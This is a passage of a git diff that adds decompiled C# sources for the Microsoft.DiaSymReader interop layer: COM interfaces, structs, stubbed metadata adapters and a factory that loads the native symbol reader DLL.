Initialize2([MarshalAs(UnmanagedType.IUnknown)] object emitter, string tempfilename, [MarshalAs(UnmanagedType.IUnknown)] object ptrIStream, bool fullBuild, string finalfilename); + + unsafe void DefineConstant(string name, object value, uint sig, byte* signature); + + void Abort(); + + void DefineLocalVariable2(string name, int attributes, int localSignatureToken, uint addrKind, int index, uint addr2, uint addr3, uint startOffset, uint endOffset); + + void DefineGlobalVariable2(string name, int attributes, int sigToken, uint addrKind, uint addr1, uint addr2, uint addr3); + + void DefineConstant2([MarshalAs(UnmanagedType.LPWStr)] string name, VariantStructure value, int constantSignatureToken); + + void OpenMethod2(uint methodToken, int sectionIndex, int offsetRelativeOffset); + + void Commit(); + + unsafe void GetDebugInfoWithPadding(ref ImageDebugDirectory debugDirectory, uint dataCount, out uint dataCountPtr, byte* data); + + void OpenMapTokensToSourceSpans(); + + void CloseMapTokensToSourceSpans(); + + void MapTokenToSourceSpan(int token, ISymUnmanagedDocumentWriter document, int startLine, int startColumn, int endLine, int endColumn); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymUnmanagedWriter8.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymUnmanagedWriter8.cs new file mode 100644 index 0000000..4ca1735 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymUnmanagedWriter8.cs @@ -0,0 +1,24 @@ +using System; +using System.Runtime.InteropServices; +using System.Security; + +namespace Microsoft.DiaSymReader; + +[ComImport] +[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] +[Guid("5ba52f3b-6bf8-40fc-b476-d39c529b331e")] +[SuppressUnmanagedCodeSecurity] +internal interface ISymUnmanagedWriter8 : ISymUnmanagedWriter5 +{ + void _VtblGap1_33(); + + void InitializeDeterministic([MarshalAs(UnmanagedType.IUnknown)] object emitter, [MarshalAs(UnmanagedType.IUnknown)] object stream); + + unsafe void UpdateSignatureByHashingContent([In] byte* buffer, int size); + + void UpdateSignature(Guid pdbId, uint stamp, int age); + + unsafe void SetSourceServerData([In] byte* data, int size); + + unsafe void SetSourceLinkData([In] byte* data, int size); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymWriterMetadataProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymWriterMetadataProvider.cs new file mode 100644 index 0000000..84376c0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ISymWriterMetadataProvider.cs @@ -0,0 +1,12 @@ +using System.Reflection; + +namespace Microsoft.DiaSymReader; + +internal interface ISymWriterMetadataProvider +{ + bool TryGetTypeDefinitionInfo(int typeDefinitionToken, out string namespaceName, out string typeName, out TypeAttributes attributes); + + bool TryGetEnclosingType(int nestedTypeToken, out int enclosingTypeToken); + + bool TryGetMethodInfo(int methodDefinitionToken, out string methodName, out int declaringTypeToken); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/IUnsafeComStream.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/IUnsafeComStream.cs new file mode 100644 index 0000000..4e59166 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/IUnsafeComStream.cs @@ -0,0 +1,32 @@ +using System.Runtime.InteropServices; +using System.Runtime.InteropServices.ComTypes; + +namespace Microsoft.DiaSymReader; + +[ComImport] +[Guid("0000000c-0000-0000-C000-000000000046")] +[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] +internal interface IUnsafeComStream +{ + unsafe void Read(byte* pv, int cb, int* pcbRead); + + unsafe void Write(byte* pv, int cb, int* pcbWritten); + + unsafe void Seek(long dlibMove, int dwOrigin, long* plibNewPosition); + + void SetSize(long libNewSize); + + unsafe void CopyTo(IStream pstm, long cb, int* pcbRead, int* pcbWritten); + + void Commit(int grfCommitFlags); + + void Revert(); + + void LockRegion(long libOffset, long cb, int dwLockType); + + void UnlockRegion(long libOffset, long cb, int dwLockType); + + void Stat(out STATSTG pstatstg, int grfStatFlag); + + void Clone(out IStream ppstm); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ImageDebugDirectory.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ImageDebugDirectory.cs new file mode 100644 index 0000000..7de83d8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/ImageDebugDirectory.cs @@ -0,0 +1,23 @@ +using System.Runtime.InteropServices; + +namespace Microsoft.DiaSymReader; + +[StructLayout(LayoutKind.Sequential, Pack = 1)] +internal struct ImageDebugDirectory +{ + internal int Characteristics; + + internal int TimeDateStamp; + + internal short MajorVersion; + + internal short MinorVersion; + + internal int Type; + + internal int SizeOfData; + + internal int AddressOfRawData; + + internal int PointerToRawData; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/InteropUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/InteropUtilities.cs new file mode 100644 index 0000000..b08e6b5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/InteropUtilities.cs @@ -0,0 +1,79 @@ +using System; +using System.Runtime.InteropServices; + +namespace Microsoft.DiaSymReader; + +internal class InteropUtilities +{ + private static readonly IntPtr s_ignoreIErrorInfo = new IntPtr(-1); + + internal static T[] NullToEmpty(T[] items) + { + if (items != null) + { + return items; + } + return EmptyArray.Instance; + } + + internal static void ThrowExceptionForHR(int hr) + { + if (hr < 0 && hr != -2147467259 && hr != -2147467263) + { + Marshal.ThrowExceptionForHR(hr, s_ignoreIErrorInfo); + } + } + + internal unsafe static void CopyQualifiedTypeName(char* qualifiedName, int qualifiedNameBufferLength, int* qualifiedNameLength, string namespaceStr, string nameStr) + { + if (namespaceStr == null) + { + namespaceStr = string.Empty; + } + if (qualifiedNameLength != null) + { + int num = ((namespaceStr.Length > 0) ? (namespaceStr.Length + 1) : 0) + nameStr.Length; + if (qualifiedName != null) + { + *qualifiedNameLength = Math.Min(num, Math.Max(0, qualifiedNameBufferLength - 1)); + } + else + { + *qualifiedNameLength = num; + } + } + if (qualifiedName == null || qualifiedNameBufferLength <= 0) + { + return; + } + char* ptr = qualifiedName; + char* ptr2 = ptr + qualifiedNameBufferLength - 1; + if (namespaceStr.Length > 0) + { + for (int i = 0; i < namespaceStr.Length; i++) + { + if (ptr >= ptr2) + { + break; + } + *ptr = namespaceStr[i]; + ptr++; + } + if (ptr < ptr2) + { + *ptr = '.'; + ptr++; + } + } + for (int j = 0; j < nameStr.Length; j++) + { + if (ptr >= ptr2) + { + break; + } + *ptr = nameStr[j]; + ptr++; + } + *ptr = '\0'; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/MetadataAdapterBase.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/MetadataAdapterBase.cs new file mode 100644 index 0000000..b5cf53d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/MetadataAdapterBase.cs @@ -0,0 +1,563 @@ +using System; +using System.Reflection; +using System.Runtime.InteropServices; + +namespace Microsoft.DiaSymReader; + +internal class MetadataAdapterBase : IMetadataImport, IMetadataEmit +{ + public unsafe virtual int GetTokenFromSig(byte* voidPointerSig, int byteCountSig) + { + throw new NotImplementedException(); + } + + public unsafe virtual int GetSigFromToken(int standaloneSignature, [Out] byte** signature, [Out] int* signatureLength) + { + throw new NotImplementedException(); + } + + public unsafe virtual int GetTypeDefProps(int typeDef, [Out] char* qualifiedName, int qualifiedNameBufferLength, [Out] int* qualifiedNameLength, [Out] TypeAttributes* attributes, [Out] int* baseType) + { + throw new NotImplementedException(); + } + + public unsafe virtual int GetTypeRefProps(int typeRef, [Out] int* resolutionScope, [Out] char* qualifiedName, int qualifiedNameBufferLength, [Out] int* qualifiedNameLength) + { + throw new NotImplementedException(); + } + + public virtual int GetNestedClassProps(int nestedClass, out int enclosingClass) + { + throw new NotImplementedException(); + } + + public unsafe virtual int GetMethodProps(int methodDef, [Out] int* declaringTypeDef, [Out] char* name, int nameBufferLength, [Out] int* nameLength, [Out] MethodAttributes* attributes, [Out] byte** signature, [Out] int* signatureLength, [Out] int* relativeVirtualAddress, [Out] MethodImplAttributes* implAttributes) + { + throw new NotImplementedException(); + } + + unsafe void IMetadataImport.CloseEnum(void* enumHandle) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.CountEnum(void* enumHandle, out int count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.ResetEnum(void* enumHandle, int position) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumTypeDefs(ref void* enumHandle, int* typeDefs, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumInterfaceImpls(ref void* enumHandle, int typeDef, int* interfaceImpls, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumTypeRefs(ref void* enumHandle, int* typeRefs, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + int IMetadataImport.FindTypeDefByName(string name, int enclosingClass, out int typeDef) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetScopeProps(char* name, int bufferLength, int* nameLength, Guid* mvid) + { + throw new NotImplementedException(); + } + + int IMetadataImport.GetModuleFromScope(out int moduleDef) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetInterfaceImplProps(int interfaceImpl, int* typeDef, int* interfaceDefRefSpec) + { + throw new NotImplementedException(); + } + + int IMetadataImport.ResolveTypeRef(int typeRef, ref Guid scopeInterfaceId, out object scope, out int typeDef) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumMembers(ref void* enumHandle, int typeDef, int* memberDefs, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumMembersWithName(ref void* enumHandle, int typeDef, string name, int* memberDefs, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumMethods(ref void* enumHandle, int typeDef, int* methodDefs, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumMethodsWithName(ref void* enumHandle, int typeDef, string name, int* methodDefs, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumFields(ref void* enumHandle, int typeDef, int* fieldDefs, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumFieldsWithName(ref void* enumHandle, int typeDef, string name, int* fieldDefs, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumParams(ref void* enumHandle, int methodDef, int* paramDefs, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumMemberRefs(ref void* enumHandle, int parentToken, int* memberRefs, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumMethodImpls(ref void* enumHandle, int typeDef, int* implementationTokens, int* declarationTokens, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumPermissionSets(ref void* enumHandle, int token, uint action, int* declSecurityTokens, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.FindMember(int typeDef, string name, byte* signature, int signatureLength, out int memberDef) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.FindMethod(int typeDef, string name, byte* signature, int signatureLength, out int methodDef) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.FindField(int typeDef, string name, byte* signature, int signatureLength, out int fieldDef) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.FindMemberRef(int typeDef, string name, byte* signature, int signatureLength, out int memberRef) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetMemberRefProps(int memberRef, int* declaringType, char* name, int nameBufferLength, int* nameLength, byte** signature, int* signatureLength) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumProperties(ref void* enumHandle, int typeDef, int* properties, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe uint IMetadataImport.EnumEvents(ref void* enumHandle, int typeDef, int* events, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetEventProps(int @event, int* declaringTypeDef, char* name, int nameBufferLength, int* nameLength, int* attributes, int* eventType, int* adderMethodDef, int* removerMethodDef, int* raiserMethodDef, int* otherMethodDefs, int otherMethodDefBufferLength, int* methodMethodDefsLength) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumMethodSemantics(ref void* enumHandle, int methodDef, int* eventsAndProperties, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetMethodSemantics(int methodDef, int eventOrProperty, int* semantics) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetClassLayout(int typeDef, int* packSize, MetadataImportFieldOffset* fieldOffsets, int bufferLength, int* count, int* typeSize) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetFieldMarshal(int fieldDef, byte** nativeTypeSignature, int* nativeTypeSignatureLengvth) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetRVA(int methodDef, int* relativeVirtualAddress, int* implAttributes) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetPermissionSetProps(int declSecurity, uint* action, byte** permissionBlob, int* permissionBlobLength) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetModuleRefProps(int moduleRef, char* name, int nameBufferLength, int* nameLength) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumModuleRefs(ref void* enumHandle, int* moduleRefs, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetTypeSpecFromToken(int typeSpec, byte** signature, int* signatureLength) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetNameFromToken(int token, byte* nameUtf8) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumUnresolvedMethods(ref void* enumHandle, int* methodDefs, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetUserString(int userStringToken, char* buffer, int bufferLength, int* length) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetPinvokeMap(int memberDef, int* attributes, char* importName, int importNameBufferLength, int* importNameLength, int* moduleRef) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumSignatures(ref void* enumHandle, int* signatureTokens, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumTypeSpecs(ref void* enumHandle, int* typeSpecs, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumUserStrings(ref void* enumHandle, int* userStrings, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + int IMetadataImport.GetParamForMethodIndex(int methodDef, int sequenceNumber, out int parameterToken) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.EnumCustomAttributes(ref void* enumHandle, int parent, int attributeType, int* customAttributes, int bufferLength, int* count) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetCustomAttributeProps(int customAttribute, int* parent, int* constructor, byte** value, int* valueLength) + { + throw new NotImplementedException(); + } + + int IMetadataImport.FindTypeRef(int resolutionScope, string name, out int typeRef) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetMemberProps(int member, int* declaringTypeDef, char* name, int nameBufferLength, int* nameLength, int* attributes, byte** signature, int* signatureLength, int* relativeVirtualAddress, int* implAttributes, int* constantType, byte** constantValue, int* constantValueLength) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetFieldProps(int fieldDef, int* declaringTypeDef, char* name, int nameBufferLength, int* nameLength, int* attributes, byte** signature, int* signatureLength, int* constantType, byte** constantValue, int* constantValueLength) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetPropertyProps(int propertyDef, int* declaringTypeDef, char* name, int nameBufferLength, int* nameLength, int* attributes, byte** signature, int* signatureLength, int* constantType, byte** constantValue, int* constantValueLength, int* setterMethodDef, int* getterMethodDef, int* outerMethodDefs, int outerMethodDefsBufferLength, int* otherMethodDefCount) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetParamProps(int parameter, int* declaringMethodDef, int* sequenceNumber, char* name, int nameBufferLength, int* nameLength, int* attributes, int* constantType, byte** constantValue, int* constantValueLength) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetCustomAttributeByName(int parent, string name, byte** value, int* valueLength) + { + throw new NotImplementedException(); + } + + bool IMetadataImport.IsValidToken(int token) + { + throw new NotImplementedException(); + } + + unsafe int IMetadataImport.GetNativeCallConvFromSig(byte* signature, int signatureLength, int* callingConvention) + { + throw new NotImplementedException(); + } + + int IMetadataImport.IsGlobal(int token, bool value) + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SetModuleProps() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__Save() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SaveToStream() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__GetSaveSize() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefineTypeDef() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefineNestedType() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SetHandler() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefineMethod() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefineMethodImpl() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefineTypeRefByName() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefineImportType() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefineMemberRef() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefineImportMember() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefineEvent() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SetClassLayout() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DeleteClassLayout() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SetFieldMarshal() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DeleteFieldMarshal() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefinePermissionSet() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SetRVA() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefineModuleRef() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SetParent() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__GetTokenFromTypeSpec() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SaveToMemory() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefineUserString() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DeleteToken() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SetMethodProps() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SetTypeDefProps() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SetEventProps() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SetPermissionSetProps() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefinePinvokeMap() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SetPinvokeMap() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DeletePinvokeMap() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefineCustomAttribute() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SetCustomAttributeValue() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefineField() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefineProperty() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefineParam() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SetFieldProps() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SetPropertyProps() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SetParamProps() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__DefineSecurityAttributeSet() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__ApplyEditAndContinue() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__TranslateSigWithScope() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SetMethodImplFlags() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__SetFieldRVA() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__Merge() + { + throw new NotImplementedException(); + } + + void IMetadataEmit.__MergeEnd() + { + throw new NotImplementedException(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/MetadataImportFieldOffset.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/MetadataImportFieldOffset.cs new file mode 100644 index 0000000..0dbda00 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/MetadataImportFieldOffset.cs @@ -0,0 +1,8 @@ +namespace Microsoft.DiaSymReader; + +internal struct MetadataImportFieldOffset +{ + public int FieldDef; + + public uint Offset; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedFactory.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedFactory.cs new file mode 100644 index 0000000..564163c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedFactory.cs @@ -0,0 +1,226 @@ +using System; +using System.IO; +using System.Reflection; +using System.Runtime.InteropServices; + +namespace Microsoft.DiaSymReader; + +internal static class SymUnmanagedFactory +{ + private delegate void NativeFactory(ref Guid id, [MarshalAs(UnmanagedType.IUnknown)] out object instance); + + private const string AlternateLoadPathEnvironmentVariableName = "MICROSOFT_DIASYMREADER_NATIVE_ALT_LOAD_PATH"; + + private const string LegacyDiaSymReaderModuleName = "diasymreader.dll"; + + private const string DiaSymReaderModuleName32 = "Microsoft.DiaSymReader.Native.x86.dll"; + + private const string DiaSymReaderModuleNameAmd64 = "Microsoft.DiaSymReader.Native.amd64.dll"; + + private const string DiaSymReaderModuleNameArm64 = "Microsoft.DiaSymReader.Native.arm64.dll"; + + private const string CreateSymReaderFactoryName = "CreateSymReader"; + + private const string CreateSymWriterFactoryName = "CreateSymWriter"; + + private const string SymWriterClsid = "0AE2DEB0-F901-478b-BB9F-881EE8066788"; + + private const string SymReaderClsid = "0A3976C5-4529-4ef8-B0B0-42EED37082CD"; + + private static Type s_lazySymReaderComType; + + private static Type s_lazySymWriterComType; + + private static readonly Lazy> s_lazyGetEnvironmentVariable = new Lazy>(delegate + { + try + { + foreach (MethodInfo declaredMethod in typeof(Environment).GetTypeInfo().GetDeclaredMethods("GetEnvironmentVariable")) + { + ParameterInfo[] parameters = declaredMethod.GetParameters(); + if (parameters.Length == 1 && parameters[0].ParameterType == typeof(string)) + { + return (Func)declaredMethod.CreateDelegate(typeof(Func)); + } + } + } + catch + { + } + return (Func)null; + }); + + internal static string DiaSymReaderModuleName => RuntimeInformation.ProcessArchitecture switch + { + Architecture.X86 => "Microsoft.DiaSymReader.Native.x86.dll", + Architecture.X64 => "Microsoft.DiaSymReader.Native.amd64.dll", + Architecture.Arm64 => "Microsoft.DiaSymReader.Native.arm64.dll", + _ => throw new NotSupportedException(), + }; + + [DllImport("Microsoft.DiaSymReader.Native.x86.dll", EntryPoint = "CreateSymReader")] + [DefaultDllImportSearchPaths(DllImportSearchPath.SafeDirectories | DllImportSearchPath.AssemblyDirectory)] + private static extern void CreateSymReader32(ref Guid id, [MarshalAs(UnmanagedType.IUnknown)] out object symReader); + + [DllImport("Microsoft.DiaSymReader.Native.amd64.dll", EntryPoint = "CreateSymReader")] + [DefaultDllImportSearchPaths(DllImportSearchPath.SafeDirectories | DllImportSearchPath.AssemblyDirectory)] + private static extern void CreateSymReaderAmd64(ref Guid id, [MarshalAs(UnmanagedType.IUnknown)] out object symReader); + + [DllImport("Microsoft.DiaSymReader.Native.arm64.dll", EntryPoint = "CreateSymReader")] + [DefaultDllImportSearchPaths(DllImportSearchPath.SafeDirectories | DllImportSearchPath.AssemblyDirectory)] + private static extern void CreateSymReaderArm64(ref Guid id, [MarshalAs(UnmanagedType.IUnknown)] out object symReader); + + [DllImport("Microsoft.DiaSymReader.Native.x86.dll", EntryPoint = "CreateSymWriter")] + [DefaultDllImportSearchPaths(DllImportSearchPath.SafeDirectories | DllImportSearchPath.AssemblyDirectory)] + private static extern void CreateSymWriter32(ref Guid id, [MarshalAs(UnmanagedType.IUnknown)] out object symWriter); + + [DllImport("Microsoft.DiaSymReader.Native.amd64.dll", EntryPoint = "CreateSymWriter")] + [DefaultDllImportSearchPaths(DllImportSearchPath.SafeDirectories | DllImportSearchPath.AssemblyDirectory)] + private static extern void CreateSymWriterAmd64(ref Guid id, [MarshalAs(UnmanagedType.IUnknown)] out object symWriter); + + [DllImport("Microsoft.DiaSymReader.Native.arm64.dll", EntryPoint = "CreateSymWriter")] + [DefaultDllImportSearchPaths(DllImportSearchPath.SafeDirectories | DllImportSearchPath.AssemblyDirectory)] + private static extern void CreateSymWriterArm64(ref Guid id, [MarshalAs(UnmanagedType.IUnknown)] out object symWriter); + + [DllImport("kernel32")] + private static extern IntPtr LoadLibrary(string path); + + [DllImport("kernel32")] + private static extern bool FreeLibrary(IntPtr hModule); + + [DllImport("kernel32")] + private static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName); + + internal static string GetEnvironmentVariable(string name) + { + try + { + return s_lazyGetEnvironmentVariable.Value?.Invoke(name); + } + catch + { + return null; + } + } + + private static object TryLoadFromAlternativePath(Guid clsid, string factoryName) + { + string environmentVariable = GetEnvironmentVariable("MICROSOFT_DIASYMREADER_NATIVE_ALT_LOAD_PATH"); + if (string.IsNullOrEmpty(environmentVariable)) + { + return null; + } + IntPtr intPtr = LoadLibrary(Path.Combine(environmentVariable, DiaSymReaderModuleName)); + if (intPtr == IntPtr.Zero) + { + Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); + } + object instance = null; + try + { + IntPtr procAddress = GetProcAddress(intPtr, factoryName); + if (procAddress == IntPtr.Zero) + { + Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); + } + Marshal.GetDelegateForFunctionPointer(procAddress)(ref clsid, out instance); + } + finally + { + if (instance == null && !FreeLibrary(intPtr)) + { + Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); + } + } + return instance; + } + + private static Type GetComTypeType(ref Type lazyType, Guid clsid) + { + if (lazyType == null) + { + lazyType = Marshal.GetTypeFromCLSID(clsid); + } + return lazyType; + } + + internal static object CreateObject(bool createReader, bool useAlternativeLoadPath, bool useComRegistry, out string moduleName, out Exception loadException) + { + object symReader = null; + loadException = null; + moduleName = null; + Guid id = new Guid(createReader ? "0A3976C5-4529-4ef8-B0B0-42EED37082CD" : "0AE2DEB0-F901-478b-BB9F-881EE8066788"); + try + { + try + { + switch (RuntimeInformation.ProcessArchitecture) + { + case Architecture.X86: + if (createReader) + { + CreateSymReader32(ref id, out symReader); + } + else + { + CreateSymWriter32(ref id, out symReader); + } + break; + case Architecture.X64: + if (createReader) + { + CreateSymReaderAmd64(ref id, out symReader); + } + else + { + CreateSymWriterAmd64(ref id, out symReader); + } + break; + case Architecture.Arm64: + if (createReader) + { + CreateSymReaderArm64(ref id, out symReader); + } + else + { + CreateSymWriterArm64(ref id, out symReader); + } + break; + default: + throw new NotSupportedException(); + } + } + catch (DllNotFoundException ex) when (useAlternativeLoadPath) + { + symReader = TryLoadFromAlternativePath(id, createReader ? "CreateSymReader" : "CreateSymWriter"); + if (symReader == null) + { + loadException = ex; + } + } + } + catch (Exception ex2) + { + loadException = ex2; + symReader = null; + } + if (symReader != null) + { + moduleName = DiaSymReaderModuleName; + } + else if (useComRegistry) + { + try + { + symReader = Activator.CreateInstance(createReader ? GetComTypeType(ref s_lazySymReaderComType, id) : GetComTypeType(ref s_lazySymWriterComType, id)); + moduleName = "diasymreader.dll"; + } + catch (Exception ex3) + { + loadException = ex3; + symReader = null; + } + } + return symReader; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedSequencePointsWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedSequencePointsWriter.cs new file mode 100644 index 0000000..baea683 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.DiaSymReader/SymUnmanagedSequencePointsWriter.cs @@ -0,0 +1,88 @@ +using System; + +namespace Microsoft.DiaSymReader; + +internal sealed class SymUnmanagedSequencePointsWriter +{ + private readonly SymUnmanagedWriter _writer; + + private int _currentDocumentIndex; + + private int _count; + + private int[] _offsets; + + private int[] _startLines; + + private int[] _startColumns; + + private int[] _endLines; + + private int[] _endColumns; + + public SymUnmanagedSequencePointsWriter(SymUnmanagedWriter writer, int capacity = 64) + { + if (capacity <= 0) + { + throw new ArgumentOutOfRangeException("capacity"); + } + _writer = writer ?? throw new ArgumentNullException("writer"); + _currentDocumentIndex = -1; + _offsets = new int[capacity]; + _startLines = new int[capacity]; + _startColumns = new int[capacity]; + _endLines = new int[capacity]; + _endColumns = new int[capacity]; + } + + private void EnsureCapacity(int length) + { + if (length > _offsets.Length) + { + int newSize = Math.Max(length, (_offsets.Length + 1) * 2); + Array.Resize(ref _offsets, newSize); + Array.Resize(ref _startLines, newSize); + Array.Resize(ref _startColumns, newSize); + Array.Resize(ref _endLines, newSize); + Array.Resize(ref _endColumns, newSize); 